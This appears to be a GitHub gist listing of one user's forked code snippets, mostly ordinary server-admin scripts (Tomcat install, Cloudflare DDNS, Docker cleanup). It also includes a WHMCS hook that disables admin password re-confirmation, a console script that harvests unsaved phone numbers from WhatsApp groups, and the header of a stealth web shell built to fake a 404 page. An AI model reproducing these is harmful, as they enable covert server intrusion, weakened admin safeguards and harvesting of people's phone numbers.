Skip to content

Instantly share code, notes, and snippets.

View yashodhank's full-sized avatar
🎯
Manifesting

Yashodhan yashodhank

🎯
Manifesting
View GitHub Profile
@yashodhank
yashodhank / no_admin_confirm.php
Created July 26, 2019 11:30 — forked from jclarke/no_admin_confirm.php
Disables the confirm password feature in the WHMCS admin area. Place in includes/hooks
<?php
add_hook('AdminLogin', 1, function($vars) {
$_SESSION["AuthConfirmationTimestamp"] = \Carbon\Carbon::now()->timestamp;
});
add_hook('AdminAreaHeadOutput', 1, function($vars) {
$_SESSION["AuthConfirmationTimestamp"] = \Carbon\Carbon::now()->timestamp;
return '
<script type="text/javascript">
$(document).ready(function(){
@yashodhank
yashodhank / install-tomcat-8.5.31.sh
Created June 10, 2019 07:48 — forked from guillearch/install-tomcat-8.5.31.sh
How to Install Apache Tomcat 8 on Ubuntu 16.04
#!/bin/bash
# For More Info http://clivern.com/how-to-install-apache-tomcat-8-on-ubuntu-16-04
sudo apt-get update
sudo apt-get install curl
sudo apt-get install unzip
cd /opt
curl -O http://apache.mirrors.ionfish.org/tomcat/tomcat-8/v8.5.31/bin/apache-tomcat-8.5.31.zip
sudo unzip apache-tomcat-8.5.31.zip
sudo mv apache-tomcat-8.5.31 tomcat
@yashodhank
yashodhank / cf-ddns.sh
Last active November 21, 2021 18:52 — forked from HackingGate/cf-ddns.sh
Cloudflare API v4 Dynamic DNS Update for both IPv4 and IPv6 with Proxy Mode On/Off in Bash
#!/bin/bash
LOGTIME=$(date "+%Y-%m-%d %H:%M:%S")
# CHANGE THESE
auth_email="[email protected]"
auth_key="c2547eb745079dac9320b638f5e225cf483cc5cfdda41" # found in cloudflare account settings | Login >> My Profile >>> Scroll down to API Keys and locate Global API Key >>>> Click API Key to see your API identifier
record_name="www.example.com"
zone_identifier="023e105f4ecef8ad9ca31a8372d0c353"
record_identifier_ipv4="372e67954025e0ba6aaa6d586b9e0b59" # use List DNS Records api to get record id, link below ↓ or see help above.
@yashodhank
yashodhank / gist:abe157936e0204fa16b3b847c7dd7bbf
Created March 21, 2019 11:20 — forked from tonymtz/gist:d75101d9bdf764c890ef
Uninstall nodejs from OSX Yosemite
# first:
lsbom -f -l -s -pf /var/db/receipts/org.nodejs.pkg.bom | while read f; do sudo rm /usr/local/${f}; done
sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.*
# To recap, the best way (I've found) to completely uninstall node + npm is to do the following:
# go to /usr/local/lib and delete any node and node_modules
cd /usr/local/lib
sudo rm -rf node*
@yashodhank
yashodhank / ubuntu_enable_bbr.sh
Created March 18, 2019 09:05 — forked from Jamesits/ubuntu_enable_bbr.sh
Ubuntu enable BBR
#!/bin/bash
set -eu
SYSCTL_FILE=/etc/sysctl.d/90-tcp-bbr.conf
# check root
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
@yashodhank
yashodhank / whatsapp.js
Created January 9, 2019 11:46 — forked from lc-at/whatsapp.js
WhatsApp Group Phone Number Grabber: grab all (unsaved) phone numbers in WhatsApp group
/*
Paste the following minified script to browser console (with WhatsApp Web open)
---------------
var phone_list=[];function get_list(e){var t=document.getElementsByClassName("O90ur")[0].innerText;t=t.split(", ");for(var l=0;l<t.length;l++)num=t[l].replace(/[^0-9]/g,""),"6"==num.charAt(0)&&(phone_list.includes(num)||phone_list.push(num));e&&alert(phone_list.join("\n"))}function doc_keyUp(e){e.ctrlKey&&57==e.keyCode?get_list(!0):e.ctrlKey&&56==e.keyCode?(get_list(!1),document.title="List successfully captured!"):e.ctrlKey&&55==e.keyCode?(phone_list=[],document.title="List successfully cleared!"):e.ctrlKey&&54==e.keyCode&&(document.title="Current list length: "+phone_list.length)}document.addEventListener("keyup",doc_keyUp,!1);
---------------
After entering above text, you can use these hotkeys:
- CTRL+9: capture current group chat phone numbers (unsaved numbers) and display an alert()
- CTRL+8: capture current group chat phone numbers and show notification in page title
- CTRL+7: clear captured phone_number
@yashodhank
yashodhank / idx_v3_modified.php
Created January 9, 2019 11:44 — forked from lc-at/idx_v3_modified.php
IndoXploit Shell v3 (Stealth Version)
<?php
/*
* # IndoXploit v3 Web Shell (Stealth Version)
* # What was involved?
* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted
* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka')
* # Important Bookmark
* - Password configuration at line 27
* - login_shell() function at line 40-52
* - Login validation at line 57-64
@yashodhank
yashodhank / plesk.sql
Created January 9, 2019 11:30 — forked from agarzon/plesk.sql
Generate report with all domains by client and plan (plesk)
SELECT domains.name as domain, Templates.name as plan, domains.status, clients.type, clients.login, clients.pname, clients.email, clients.external_id, Subscriptions.locked, Subscriptions.synchronized, Subscriptions.custom
FROM domains
LEFT JOIN clients ON domains.cl_id = clients.id
LEFT JOIN Subscriptions ON domains.id = Subscriptions.object_id AND Subscriptions.object_type = 'domain'
LEFT JOIN PlansSubscriptions ON Subscriptions.id = PlansSubscriptions.subscription_id
LEFT JOIN Templates ON PlansSubscriptions.plan_id = Templates.id
WHERE clients.type = 'client'
AND clients.parent_id = '1'
AND domains.parentDomainId = '0'
INTO OUTFILE '/tmp/domains-client.csv';
@yashodhank
yashodhank / regexYoutube.html
Created November 9, 2018 17:22 — forked from jphase/regexYoutube.html
Regex match all youtube links
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
</head>
<body>
<div id="anothercontainer">
@yashodhank
yashodhank / docker-cleanup-resources.md
Created October 29, 2018 06:46 — forked from bastman/docker-cleanup-resources.md
docker cleanup guide: containers, images, volumes, networks

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm